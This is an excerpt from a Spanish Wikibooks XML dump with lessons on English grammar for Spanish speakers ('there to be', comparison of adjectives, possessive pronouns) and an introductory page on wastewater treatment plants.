*Bueno, el adjetivo '''heavy''' no debemos encasillarlo. A la vez que ''pesado'' quiere decir ''grueso''. Ambas cosas guardan cierta similitud..., como en el caso de la artillería '''pesada''' o de '''grueso''' calibre, que es llamada en inglés '''heavy artillery'''.

*En contraposición a esto tenemos que, en verano, la ropa ligera es llamada '''light clothes''', por aquello que la primera idea que se viene a las mientes es la de colores claros, luminosos...


*'''TO KNOWN-CAN'''

*Cuando ''el saber'' se refiera al entendimiento, a la inteligencia, al conocimiento intelectual, use '''to know'''. Pero si el ''saber'' se refiere a '''cosa material''', a '''capacidad física para hacer''', entonces no hay duda, debe usar '''CAN'''.


*'''THERE TO BE'''

*Se conjuga en todos los tiempos, pero exclusivamente con la tercera persona para hacerlo totalmente impersonal.


*'''PRESENTE'''

*Afirmando

*Singular: '''there is''' (hay)
*Plural: '''there are''' (hay)


*Negando

*'''there is not''' (no hay)
*'''there are not''' (no hay)


*Interrogando

*'''is there?''' (¿hay?)
*'''are there?''' (¿hay?)


*Interrogando-negando


*'''Is there not?''' (¿no hay?)
*'''are there not''' (¿no hay?)


*'''PASADO'''


*Afirmando

*Singular:
 

*'''there was''' (hubo, había)


*Plural:


*'''there were''' (hubo, había)


*Negando


*'''there was not?''' (no hubo, había) 
*'''there were not''' (no hubo, había)


*Interrogando


*'''was there?''' (¿hubo,había?)
*'''were there?''' (¿hubo, había?)


*Interrogando-negando


*'''was there not?''' (¿no hubo, había?)
*'''were there not?''' (¿no hubo, había?)


*'''FUTURO'''


*Afirmando


*Singular y plural


*'''there will be'''  (habrá)


*Negando


*'''there will not be''' (no habrá)


*Interrogando


*'''will there be?''' (¿habrá?)


*Interrogando-negando


*'''will there not be?''' (¿no habrá?)


*'''NOT YET'''

*Usted conoce ya el adverbio '''still''', que en castellano traducimos por ''todavía'', un ''todavía'' afirmativo '''de permanencia'''.

*'''He is still here''' (Todavía (él) está aquí).

*Naturalmente, si substituimos ''todavía'' por ''aún'', las cosas siguen igual. Pero veamos ahora cómo hemos de expresar en inglés nuestro ''todavía'' o nuestro ''aún'', cuando éstos tienen sentido negativo...

*'''He has not yet arrived''' (No ha llegado todavía (aún)).

*En castellano, el mismo adbervio (sea ''todavía'', o sea ''aún'') nos sirve en ambos casos. En inglés, sin embargo, debe tener presente que no es así y que:

*a) Si la frase afirma, usará '''still'''.
*b) Si la frase niega, usará '''not yet'''.


*'''TALL-SHORT'''

*Cuando se trata de la estatura, de la '''talla''' de uno, no han de usarse adjetivos como '''high''' (alto) y '''low''' (bajo)... estos se refieren a objetos, a cosas en sentido general...

*Para las personas, recuerde:

*'''A tall man''' (Un hombre alto)
*'''A short man''' (Un hombre bajo - corto de estatura)


*'''TO ALLOW-TO LET'''

*En tanto, que la aplicación de '''let''' implica un ''dejar hacer'' '''ordenado''' a otra persona en relación a nosotros o a un tercero, '''allow''' carece de ese sentido imperativo, de '''orden'''.

*'''To allow''' expresa un ''permitir'' sin tanta vuelta de hoja. Es un ''pedido'' amable que se hace...

*'''Allow me to speak the white chief General Carleton...''' (Permíteme hablar con el jefe blanco General Carleton...)

*Cuando usamos '''to allow''' no hacemos más que ser corteses. Si usamos '''to let''', esa ''cortesía'' está cargada de reservas, puesto que, en el fondo, '''ordenamos''' al otro '''que nos permita'''.


*'''FUL'''

*¿Es usted aficionado a jugar al poker? Entonces sabrá que uno de los juegos es llamado '''full''' hand o mano '''llena'''. Bien... Ahora estamos en ello.

*El sufijo '''ful''' procede de ese '''full''' (lleno) y nos sirve para indicar que el sustantivo del que toma parte se transforma en un adjetivo.

*En otras palabras: Con '''ful''', el sustantivo se transforma en un adjetivo.

*Sucede lo que con '''less''': Si algo escasea, añadale '''less''' (falta de); con '''ful''', (abundancia de).

*Ejemplos:

*'''These people are peaceful''' (Esta gente es pacífica)
*'''My friend is very careful''' (Mi amigo es muy cuidadoso)
*'''A successful show''' (Un espectáculo lleno de éxito. ''Exitoso'')
*'''A doubtful question''' (Un asunto dudoso)
*'''That is a wonderful love story''' (Esa es una maravillosa historia de amor)


*'''RIGHT-WRONG'''

*Recordará usted lo que se dijo con anterioridad respecto a la expresión '''all right''' (muy bien). Sabe que en el orden de ideas, lo que ''está todo derecho'' indudablemente ''está bien''.

*Ahora tenemos el caso contrario: '''Wrong''', entre muchas cosas de sentido parecido, significa ''error''. Es una idea ''condensada'' equivalente a expresar lo contrario de '''right'''.

*Cuando a una de estas dos voces le anteponemos el verbo '''to be''' en cualquiera de sus formas, tenemos un nuevo verbo, cuyo significado puede ser:

*'''To be right''' (Estar en lo cierto - Tener razón.)
*'''To be wrong''' (Estar equivocado, No tener razón.)

*'''You are wrong''' (Está equivocado, no tiene razón)


*'''BORN'''

*He aquí un verbo que no existe en inglés: ''nacer''. Para expresar esa idea, un inglés debe recurrir a un auxiliar, ''to be'' y a un adjetivo, '''born''', (nacido). Entonces dispone de su verbo, '''to be born''' (ser nacido).
*'''Born''', por tanto, es un adjetivo.
*'''Birth''' es, el sustantivo inglés equivalente a ''nacimiento''.

*Ejemplo: '''When is your birthday?''' (¿Cuándo es tu cumpleaños?)


*'''Diferencias entre los verbos TO JOIN y TO MEET'''


*Muchos verbos ingleses son reflexivos - es decir, expresan una acción que recae sobre el sujeto que la ejecuta- sin necesidad de que el pronombre lo exprese.

*Los ingleses sólo usan sus pronombres reflexivos '''-myself, yourself, himself, etc.-''' cuando el verbo indica que la persona se hace algo a sí misma. si no es así, en inglés el verbo reflexivo no se distingue del que no lo es.

*Aplicación particular de los verbos '''to join''' y '''to meet'''

*Como verbo ''transitivo'', '''to join''' se traduce por ''juntar''; empero, si le sigue un complemento de persona, el verbo se entiende como ''intransitivo'' y su significado es de ''reunirse''.

*Por lo que se refiere a '''to meet''' en otro orden de ideas, tiene también dos significados: ''encontrar'' y ''conocer''.
*Usara '''to meet''' en el sentido de ''encontrar'' cuando ese encuentro se refiera a una persona ya conocida de usted.
*Por el contrario, será más correcto usar '''to meet''' en el sentido de ''conocer'' -en modo alguno '''to know'''- cuando ese sea el primer ''encuentro'', es decir, cuando conozca por vez primera a una persona.


*'''TO GO DOWNSTAIRS - TO GO UPSTAIRS'''

*Nos encontramos ante la característica forma inglesa de ''materializar'' ideas y convertirlas en sustantivos, en verbos...

*He aquí el caso: Tenemos, en primer lugar, '''down''' y '''up''' (''abajo'' y ''arriba'', respectivamente, en términos generales) y '''stairs''' (''escaleras''). Uniendo '''down''' con '''stairs''', o '''up''' con '''stairs''', tenemos dos nuevas palabras, eminentemente ''caseras''.

*Sí, porque tanto una como otra forman parte del ambiente característico inglés..., muy partícularmente en esos hogares típicos de más de una planta (bajos y un piso). Así, por ejemplo, '''he is upstairs''' equivale a decir en español ''él está arriba'' (en el piso de arriba). Y estando arriba, diremos de uno que está en los bajos que '''he is downstairs''' (''está abajo'').

*Todo porque el sentido común le dice al inglés que entre ''arriba'' y ''abajo'', en una casa, '''media la escalera'''.

*'''To go upstairs''' expresa, pues, la idea de ''subir'' a los pisos superiores, cuando sabemos que para ir arriba disponemos de la escalera de la casa.

*'''To go downstairs''' indicará lo contrario, o sea ''bajar'' al piso inferior.


{{AutoCat}}</text>
      <sha1>q2kv2q45x5nyvbfe0fvc2gnramlx7cy</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Estación depuradora de aguas residuales</title>
    <ns>0</ns>
    <id>12739</id>
    <revision>
      <id>429961</id>
      <parentid>378063</parentid>
      <timestamp>2026-08-02T09:28:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429961</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3914" sha1="iwjmcve7bgmqidge0xsgrkz9gka7hfg" xml:space="preserve">=Introducción=

Para entrar en materia, veamos que no todos los expertos en depuración, de los que desgraciadamente hay pocos, están de acuerdo con el término ''Estación Depuradora de Aguas Residuales'' (E.D.A.R.), algunos las llaman simplemente Estaciones Depuradoras (E.D.). Personalmente creo que es erróneo puesto que da lugar a confusión, ya que se puede confundir con una Estación de Tratamiento de Agua Potable (E.T.A.P), que comúnmente se llama depuradora; otros prefieren el término E.T.A.R., Estación de Tratamiento de Aguas Residuales, esto viene de la traducción inglesa del término Wastewater Treatment Plant (WWTP), en estas páginas usaré el término que considero mas apropiado, que es el de Estación Depuradora de Aguas Residuales (E.D.A.R.)

Una EDAR no es más que una fábrica de agua limpia, a ella llega el agua sucia, Agua Bruta, y sale agua limpia, Agua Tratada. 

Un gran error es no tratar una EDAR como lo que es, una fábrica, llega materia prima, Agua Bruta, y sale un producto, Agua Tratada, y varios subproductos, fangos y gas.

Gestionar una EDAR requiere una serie de conocimientos sobre Química, Física, Mecánica, Informática e Ingeniería, por lo que un buen jefe de planta debe de dominar todos y cada uno de estos temas. Desafortunadamente en España esto no es así y al frente de las EDAR hay personas poco a nada cualificadas que aprenden por ensayo error, con el perjuicio que esto conlleva, puesto que cada error en una EDAR significa que no se depura el agua y por tanto se vierten a ríos y mares aguas residuales. Más el costo impresionante de estos errores.

Una EDAR es una fábrica deficiente económicamente, una EDAR difícilmente ganará dinero y menos en los primeros años. Una vez más, en España esto no se entiende así y se cede su explotación a compañías privadas que tienen como objetivo la rentabilidad, y ésta, en una EDAR, se consigue dando un servicio llamémoslo suficiente, pero ni mucho menos el necesario, ya que para obtener beneficios, recortan gastos sobre todo en personal y en materiales.

No obstante el agua que sale de las plantas cumple con los requisitos exigidos por la legislación en la mayoría de los casos, y el agua sale de la planta con los parámetros exigidos, pero no se tiene en cuenta los, llamémoslos, daños colaterales, que la falta de medios con el fin de obtener beneficios ocasionan y en muchas ocasiones la falta de conocimientos. 
Entre estos daños encontramos los malos olores en las zonas colindantes de las EDAR, una EDAR siempre huele, sin embargo puede reducirse en cierta medida este impacto lo que en muchas ocasiones no se hace, unas veces por falta de medios y, en la mayoría de los casos, por falta de conocimientos y de profesionalidad de los jefes de planta, seleccionados digamos de forma anómala. Entre otros daños o immpactos negativos podemos contar la presencia de insectos.
Estos y otro sistemas de Gestión de una EDAR se verán en su apartado correspondiente.

Por eso y otros motivos, conviene cambiar el enfoque y considerar a una EDAR como una fábrica de biosólidos (fangos) y considerar el resto: agua depurada, grasas, arenas, residuos sólidos, etc... como subproductos. 
De esta forma en vez de ver si una EDAR produce agua depurada, se debe de analizar la cantidad de biosólidos producidos ya que de esta forma sabremos realmente la calidad del agua depurada.

=ESQUEMA DE EDAR=

Una EDAR tiene dos líneas principales de trabajo, estas son la línea de agua, donde se trabaja con el agua y la línea de fangos donde trabajamos con los fangos o lodos, a continuación se incluye un esquema con las principales partes de una EDAR.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Documentación administrativa de control de vertidos
 |actual=Estación depuradora de aguas residuales
 |siguiente=Pretratamiento
}}

{{AutoCat}}</text>
      <sha1>iwjmcve7bgmqidge0xsgrkz9gka7hfg</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Comparación del adjetivo</title>
    <ns>0</ns>
    <id>12796</id>
    <revision>
      <id>429796</id>
      <parentid>352559</parentid>
      <timestamp>2026-08-01T21:59:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429796</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9173" sha1="e4itex4oqvx4la8hx21z9xiah78b3i7" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
===Comparación del adjetivo===

'''1. Caso comparativo de igualdad'''

*En español observamos lo fácil de la  comparación de '''igualdad''' con la forma '''&quot;tan...como&quot;''', mientras que en inglés utilizaremos '''&quot;as...as&quot;'''.
*Ejemplo: '''The red pencil is as long as the black one'''. 
(El lápiz rojo es '''tan''' largo '''como''' el negro).

*Cuando se trata simplemente de '''negar''' la igualdad, en inglés se usa la forma '''&quot;not so...as&quot;'''. Aunque en la práctica, prescindiendo de lo que dicen las Gramáticas, esta forma ha caído en desuso y en su lugar se emplea corrientemente '''&quot;not as...as&quot;'''.

*Ejemplo: '''The red pencil is not as long as the black one'''. 
(El lápiz rojo '''no es tan''' largo '''como''' el negro).


*Si se trata de afirmar la igualdad en relación con la comparación de cantidades, debemos recurrir en inglés a '''&quot;much&quot;''' y '''&quot;many&quot;'''. Usamos '''&quot;much&quot;''' en singular y '''&quot;many&quot;''' en plural. Para el singular, usamos '''&quot;as much...as&quot;'''.

*Ejemplo: '''You have as much bread as he does'''. 
(Tú tienes '''tanto''' pan '''como''' él).

*Cuando nos referimos a cantidad, pero en plural, debemos usar '''&quot;as many...as&quot;'''.

*Ejemplo: '''You have as many pencils as he'''. 
(Tú tienes '''tantos''' lápices '''como''' él).


*Para '''negar la igualdad''' en la comparación que se efectúa, procederemos como en los casos anteriores, o sea, añadiendo la partícula negativa '''&quot;not&quot;''' a la forma verbal que utilicemos:

*Ejemplo: '''I have not as much bread as you''' (singular). 
(Yo '''no''' tengo '''tanto''' pan '''como''' tú).

*Ejemplo: '''I have not as many pencils as you''' (plural). 
(Yo '''no''' tengo '''tantos''' lápices '''como''' tú).


'''2. Caso comparativo de superioridad'''

*Por lo que respecta a la '''superioridad''' en plan comparativo, en español usamos la forma '''&quot;más...que&quot;''', mientras que en inglés hemos de traducirlo por '''&quot;more...than&quot;'''.

*Ejemplo: '''You are more intelligent than he'''. 
(Tú eres '''más''' inteligente '''que''' él).

*Por su parte '''&quot;more&quot;''' corresponde precisamente a la forma comparativa del adjetivo '''&quot;much-many&quot;'''.

*La forma negativa de este caso se resuelve, como en los demás, añadiendo la partícula negativa '''&quot;not&quot;''' a la forma verbal que se utilice.

*Ejemplo: '''You are not more intelligent than he'''. 
(Tú no eres '''más''' inteligente '''que''' él).


'''3. Caso comparativo de inferioridad'''

*Ahora observaremos cuando la cualidad de algo o alguien, en comparación con esa misma cualidad referida a otra cosa, está en situación de inferioridad. Por tanto, debemos indicarla recurriendo al ''&quot;que&quot;'' comparativo en inglés, '''&quot;than&quot;'''; y a la forma comparativa de un adjetivo que nos indique '''&quot;poca cosa&quot;''' y que en inglés es '''&quot;little&quot;'''. Por consiguiente usaremos '''&quot;less&quot;'''. En español, la forma a usar sería '''&quot;menos...que&quot;''', mientras que en inglés será '''&quot;less...than&quot;'''.

*Ejemplo: '''He is less intelligent than you'''. 
(El es '''menos''' inteligente '''que''' tú).


'''4. Caso superlativo'''

*El ''superlativo absoluto'' se forma en castellano anteponiendo la voz '''muy''' al adjetivo, o bien, añadiendo al mismo el sufijo '''&quot;-ísimo&quot;''' u otras terminaciones irregularres 

*Ejemplo: muy alto, altísimo; muy célebre, celebérrimo.

*En inglés, cuando queremos expresar con el adjetivo ese grado superlativo, pero indicando a la vez que la cualidad se compara, usamos

*'''the most''' equivalente a nuestro 

*''el más''
*''los más''
*''la más''
*''las más''
*''lo más''

*'''the least''' equivalente a nuestro

*''el menos''
*''lo menos''
*''los menos''
*''las menos''
*''la menos''


*Pero supongamos ahora que la cualidad poseída por el objeto no es comparable a nada... Sabemos como expresarlo en castellano, pero, ¿cómo hemos de hacerlo en inglés?

*Simplemente, usando, '''VERY, VERY MUCH, EXTREMELY, etc.''' (según que casos) delante del adjetivo correspondiente.

*Ejemplo: '''The Everest is a very high mountain''' (El Everest es una montaña muy alta (altísima)).

*Puede decirse, pues, que para formar el ''superlativo absoluto'', en inglés hemos de usar a modo de auxiliar la voz '''very''' o cualquier otra que haga sus veces.


*Existen unos adjetivos ingleses que por reunir determinadas características, forman su grado '''comparativo de superioridad''' y su grado '''superlativo''' ateniéndose a una regla especial.
*Esta regla es la que sigue:

*a) Para formar el comparativo de superioridad añaden '''ER''' al positivo.
*b) Para formar el superlativo añaden '''EST''' al positivo.

*Ejemplo:
*Positivo
*'''cold''' (frío).
*Comparativo superioridad
*'''coldER than (más frío que)
*Superlativo
*'''the coldEST''' (el más frío)


*Los adjetivos que siguen esta regla son:

*1º Todos los adjetivos monosilábicos en el bien entendido que en inglés se entiende por sílaba la sílaba '''fonética'''.
*2º Algunos de los adjetivos de dos sílabas (también atendiendo a la '''sílaba fonética''') que en inglés cargan el acento en la segunda, y casi todos los de dos sílabas (acentuando la primera), si terminan en '''y''', '''er''', '''ow''' o '''n'''.


*a) Si el positivo termina con la vocal '''e''', se añade solamente '''r''' para formar el comparativo de superioridad y '''st''' para formar el superlativo:


*Positivo
*'''large''' (grande)
*Comparativo superioridad
*'''largeR than''' (más grande que)
*Superlativo
*'''the largeST''' (el más grande)


*b) Si el positivo termina en '''y''', ésta se sustituye por '''i''' y a continuación se añade el sufijo correspondiente, '''er''' o '''est''':


*Positivo
*'''happy''' (feliz)
*Comparativo superioridad
*'''happiER than''' (más feliz que)
*Superlativo
*'''the happiEST''' (el más feliz)


*c) Si el positivo termina en '''y''' pero esta consonante está precedida de una vocal, la '''y''' no sufre variación:

*Positivo
*'''grey''' (gris)
*Comparativo superioridad
*'''greyER''' (más gris que)
*Superlativo
*'''the greyEST''' (el más gris)


*d) Si el positivo termina en consonante precedida por una vocal corta (de sonido breve, fonéticamente hablando), se duplica la consonante final al añadir '''er''' o '''est''':

*Positivo
*'''fat''' (gordo)
*'''thin''' (delgado)
*Comparativo superioridad
*'''fattER''' (más gordo que)
*'''thinnER''' (más delgado que)
*Superlativo
*'''the fattEST''' (el más gordo)
*'''the thinnEST''' (el más delgado)


*Sobre lo que acaba de estudiar debe tener en cuenta dos cosas:

*1ª Que cuando se trata de un adjetivo en su grado comparativo de superioridad, sea indicando ésta en la forma ordinaria, a base de '''more (The canary is more beautiful than the owl)''' o en la forma '''ER (This man is fatter than that one)''', recuerde que debe ir seguido de '''THAN'''.

*2ª Que cuando se trata de un adjetivo en su grado superlativo, sea indicado éste en la forma ordinaria mediante '''the most''' (para ''más'') o '''the least''' (para ''menos''), o en la forma '''EST (Siberia is the coldest country)'''.  Recuerde que debe ir precedido del artículo '''THE'''.


'''Adjetivos de comparación irregular'''


*Positivos

*'''good''' (bien)
*'''well''' (bueno)
*'''bad''' (malo)
*'''little''' (poco)
*'''much (many)''' (mucho (muchos))
*'''late''' (tardío)
*'''far''' (lejano)


*Comparativo

*'''better''' (mejor)
*'''worse''' (peor)
*'''less''' (menos)
*'''more''' (más)
*'''later''' (más tarde)
*'''latter''' (posterior)
*'''farther''' (más lejano)
*'''further''' (ulterior)


*Superlativo

*'''the best''' (el, la, lo mejor)
*'''the worst''' (el, la, lo peor)
*'''the least''' (el, la, la menos)
*'''the most''' (el, la, lo más (los más))
*'''the latest''' (el, la, lo, las, los último(s))
*'''the last''' (último)
*'''the farthest''' (el más lejano)
*'''the furthest''' (el más remoto, ulterior)


*Conviene hacer algunas observaciones en relación con:

*'''Latter.''' Significa ''el segundo de dos''.
*'''Last.''' Es el último, el final. 
*'''Latest.''' Significa ''último hasta el presente. '''The latest news''' (Ultimas noticias, las más recientes en tanto no se reciban otras).
*'''Farther.''' Se refiere generalmente a distancia. '''(Barcelona is farther from London than from Paris)''' (Barcelona está más lejos de Londres que de París).
*'''Further.''' Significa ''adicional''. '''(I will give you further details later.)''' (Le daré detalles adicionales -ulteriores- más tarde).


*También '''further''' puede usarse para ''distancias'', al igual que '''farther''', pero, en cambio, sólo '''further''' puede utilizarse en sentido adicional.


*'''Much.''' Se usa en singular. '''(I have not much time.)''' (No tengo mucho tiempo).
*'''Many.''' Se usa en plural. '''(I have not many pencils.)''' (No tengo muchos lápices).

*Finalmente, si el '''superlativo''' se refiere a '''lugar''' (complemento de lugar, según dicen las Gramáticas), en inglés se usa la preposición '''in'''. '''(New York is the biggest City in the U. S. A.)''' (Nueva York es la mayor ciudad de los Estados Unidos).


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>e4itex4oqvx4la8hx21z9xiah78b3i7</sha1>
    </revision>
    <revision>
      <id>429873</id>
      <parentid>429796</parentid>
      <timestamp>2026-08-01T22:09:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429873</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9133" sha1="131sedafe4lrn3a04wux84y9wvbmig9" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
===Comparación del adjetivo===

'''1. Caso comparativo de igualdad'''

*En español observamos lo fácil de la  comparación de '''igualdad''' con la forma '''&quot;tan...como&quot;''', mientras que en inglés utilizaremos '''&quot;as...as&quot;'''.
*Ejemplo: '''The red pencil is as long as the black one'''. 
(El lápiz rojo es '''tan''' largo '''como''' el negro).

*Cuando se trata simplemente de '''negar''' la igualdad, en inglés se usa la forma '''&quot;not so...as&quot;'''. Aunque en la práctica, prescindiendo de lo que dicen las Gramáticas, esta forma ha caído en desuso y en su lugar se emplea corrientemente '''&quot;not as...as&quot;'''.

*Ejemplo: '''The red pencil is not as long as the black one'''. 
(El lápiz rojo '''no es tan''' largo '''como''' el negro).


*Si se trata de afirmar la igualdad en relación con la comparación de cantidades, debemos recurrir en inglés a '''&quot;much&quot;''' y '''&quot;many&quot;'''. Usamos '''&quot;much&quot;''' en singular y '''&quot;many&quot;''' en plural. Para el singular, usamos '''&quot;as much...as&quot;'''.

*Ejemplo: '''You have as much bread as he does'''. 
(Tú tienes '''tanto''' pan '''como''' él).

*Cuando nos referimos a cantidad, pero en plural, debemos usar '''&quot;as many...as&quot;'''.

*Ejemplo: '''You have as many pencils as he'''. 
(Tú tienes '''tantos''' lápices '''como''' él).


*Para '''negar la igualdad''' en la comparación que se efectúa, procederemos como en los casos anteriores, o sea, añadiendo la partícula negativa '''&quot;not&quot;''' a la forma verbal que utilicemos:

*Ejemplo: '''I have not as much bread as you''' (singular). 
(Yo '''no''' tengo '''tanto''' pan '''como''' tú).

*Ejemplo: '''I have not as many pencils as you''' (plural). 
(Yo '''no''' tengo '''tantos''' lápices '''como''' tú).


'''2. Caso comparativo de superioridad'''

*Por lo que respecta a la '''superioridad''' en plan comparativo, en español usamos la forma '''&quot;más...que&quot;''', mientras que en inglés hemos de traducirlo por '''&quot;more...than&quot;'''.

*Ejemplo: '''You are more intelligent than he'''. 
(Tú eres '''más''' inteligente '''que''' él).

*Por su parte '''&quot;more&quot;''' corresponde precisamente a la forma comparativa del adjetivo '''&quot;much-many&quot;'''.

*La forma negativa de este caso se resuelve, como en los demás, añadiendo la partícula negativa '''&quot;not&quot;''' a la forma verbal que se utilice.

*Ejemplo: '''You are not more intelligent than he'''. 
(Tú no eres '''más''' inteligente '''que''' él).


'''3. Caso comparativo de inferioridad'''

*Ahora observaremos cuando la cualidad de algo o alguien, en comparación con esa misma cualidad referida a otra cosa, está en situación de inferioridad. Por tanto, debemos indicarla recurriendo al ''&quot;que&quot;'' comparativo en inglés, '''&quot;than&quot;'''; y a la forma comparativa de un adjetivo que nos indique '''&quot;poca cosa&quot;''' y que en inglés es '''&quot;little&quot;'''. Por consiguiente usaremos '''&quot;less&quot;'''. En español, la forma a usar sería '''&quot;menos...que&quot;''', mientras que en inglés será '''&quot;less...than&quot;'''.

*Ejemplo: '''He is less intelligent than you'''. 
(El es '''menos''' inteligente '''que''' tú).


'''4. Caso superlativo'''

*El ''superlativo absoluto'' se forma en castellano anteponiendo la voz '''muy''' al adjetivo, o bien, añadiendo al mismo el sufijo '''&quot;-ísimo&quot;''' u otras terminaciones irregularres 

*Ejemplo: muy alto, altísimo; muy célebre, celebérrimo.

*En inglés, cuando queremos expresar con el adjetivo ese grado superlativo, pero indicando a la vez que la cualidad se compara, usamos

*'''the most''' equivalente a nuestro 

*''el más''
*''los más''
*''la más''
*''las más''
*''lo más''

*'''the least''' equivalente a nuestro

*''el menos''
*''lo menos''
*''los menos''
*''las menos''
*''la menos''


*Pero supongamos ahora que la cualidad poseída por el objeto no es comparable a nada... Sabemos como expresarlo en castellano, pero, ¿cómo hemos de hacerlo en inglés?

*Simplemente, usando, '''VERY, VERY MUCH, EXTREMELY, etc.''' (según que casos) delante del adjetivo correspondiente.

*Ejemplo: '''The Everest is a very high mountain''' (El Everest es una montaña muy alta (altísima)).

*Puede decirse, pues, que para formar el ''superlativo absoluto'', en inglés hemos de usar a modo de auxiliar la voz '''very''' o cualquier otra que haga sus veces.


*Existen unos adjetivos ingleses que por reunir determinadas características, forman su grado '''comparativo de superioridad''' y su grado '''superlativo''' ateniéndose a una regla especial.
*Esta regla es la que sigue:

*a) Para formar el comparativo de superioridad añaden '''ER''' al positivo.
*b) Para formar el superlativo añaden '''EST''' al positivo.

*Ejemplo:
*Positivo
*'''cold''' (frío).
*Comparativo superioridad
*'''coldER than (más frío que)
*Superlativo
*'''the coldEST''' (el más frío)


*Los adjetivos que siguen esta regla son:

*1º Todos los adjetivos monosilábicos en el bien entendido que en inglés se entiende por sílaba la sílaba '''fonética'''.
*2º Algunos de los adjetivos de dos sílabas (también atendiendo a la '''sílaba fonética''') que en inglés cargan el acento en la segunda, y casi todos los de dos sílabas (acentuando la primera), si terminan en '''y''', '''er''', '''ow''' o '''n'''.


*a) Si el positivo termina con la vocal '''e''', se añade solamente '''r''' para formar el comparativo de superioridad y '''st''' para formar el superlativo:


*Positivo
*'''large''' (grande)
*Comparativo superioridad
*'''largeR than''' (más grande que)
*Superlativo
*'''the largeST''' (el más grande)


*b) Si el positivo termina en '''y''', ésta se sustituye por '''i''' y a continuación se añade el sufijo correspondiente, '''er''' o '''est''':


*Positivo
*'''happy''' (feliz)
*Comparativo superioridad
*'''happiER than''' (más feliz que)
*Superlativo
*'''the happiEST''' (el más feliz)


*c) Si el positivo termina en '''y''' pero esta consonante está precedida de una vocal, la '''y''' no sufre variación:

*Positivo
*'''grey''' (gris)
*Comparativo superioridad
*'''greyER''' (más gris que)
*Superlativo
*'''the greyEST''' (el más gris)


*d) Si el positivo termina en consonante precedida por una vocal corta (de sonido breve, fonéticamente hablando), se duplica la consonante final al añadir '''er''' o '''est''':

*Positivo
*'''fat''' (gordo)
*'''thin''' (delgado)
*Comparativo superioridad
*'''fattER''' (más gordo que)
*'''thinnER''' (más delgado que)
*Superlativo
*'''the fattEST''' (el más gordo)
*'''the thinnEST''' (el más delgado)


*Sobre lo que acaba de estudiar debe tener en cuenta dos cosas:

*1ª Que cuando se trata de un adjetivo en su grado comparativo de superioridad, sea indicando ésta en la forma ordinaria, a base de '''more (The canary is more beautiful than the owl)''' o en la forma '''ER (This man is fatter than that one)''', recuerde que debe ir seguido de '''THAN'''.

*2ª Que cuando se trata de un adjetivo en su grado superlativo, sea indicado éste en la forma ordinaria mediante '''the most''' (para ''más'') o '''the least''' (para ''menos''), o en la forma '''EST (Siberia is the coldest country)'''.  Recuerde que debe ir precedido del artículo '''THE'''.


'''Adjetivos de comparación irregular'''


*Positivos

*'''good''' (bien)
*'''well''' (bueno)
*'''bad''' (malo)
*'''little''' (poco)
*'''much (many)''' (mucho (muchos))
*'''late''' (tardío)
*'''far''' (lejano)


*Comparativo

*'''better''' (mejor)
*'''worse''' (peor)
*'''less''' (menos)
*'''more''' (más)
*'''later''' (más tarde)
*'''latter''' (posterior)
*'''farther''' (más lejano)
*'''further''' (ulterior)


*Superlativo

*'''the best''' (el, la, lo mejor)
*'''the worst''' (el, la, lo peor)
*'''the least''' (el, la, la menos)
*'''the most''' (el, la, lo más (los más))
*'''the latest''' (el, la, lo, las, los último(s))
*'''the last''' (último)
*'''the farthest''' (el más lejano)
*'''the furthest''' (el más remoto, ulterior)


*Conviene hacer algunas observaciones en relación con:

*'''Latter.''' Significa ''el segundo de dos''.
*'''Last.''' Es el último, el final. 
*'''Latest.''' Significa ''último hasta el presente. '''The latest news''' (Ultimas noticias, las más recientes en tanto no se reciban otras).
*'''Farther.''' Se refiere generalmente a distancia. '''(Barcelona is farther from London than from Paris)''' (Barcelona está más lejos de Londres que de París).
*'''Further.''' Significa ''adicional''. '''(I will give you further details later.)''' (Le daré detalles adicionales -ulteriores- más tarde).


*También '''further''' puede usarse para ''distancias'', al igual que '''farther''', pero, en cambio, sólo '''further''' puede utilizarse en sentido adicional.


*'''Much.''' Se usa en singular. '''(I have not much time.)''' (No tengo mucho tiempo).
*'''Many.''' Se usa en plural. '''(I have not many pencils.)''' (No tengo muchos lápices).

*Finalmente, si el '''superlativo''' se refiere a '''lugar''' (complemento de lugar, según dicen las Gramáticas), en inglés se usa la preposición '''in'''. '''(New York is the biggest City in the U. S. A.)''' (Nueva York es la mayor ciudad de los Estados Unidos).


{{AutoCat}}</text>
      <sha1>131sedafe4lrn3a04wux84y9wvbmig9</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Pronombres posesivos</title>
    <ns>0</ns>
    <id>12853</id>
    <revision>
      <id>429825</id>
      <parentid>164798</parentid>
      <timestamp>2026-08-01T22:02:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429825</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2163" sha1="1otuampmg9u9g9h3eycvjtzv6zsx2t3" xml:space="preserve">===Pronombres posesivos===

*'''Adjetivos posesivos [http://www.youtube.com/watch?v=wcDl5xR0DOo Escuchar]'''

*MY, mi, mis
*YOUR, tu, tus, su (de usted), sus (de ustedes)
*HIS, su, sus; masculino (de él)
*HER, su, sus; femenino (de ella)
*ITS, su, sus; neutro (de ello)
*OUR, nuestro, nuestra, nuestros, nuestras
*YOUR, vuestro, vuestra, su, sus (de ustedes)
*THEIR, su, sus (de ellos)


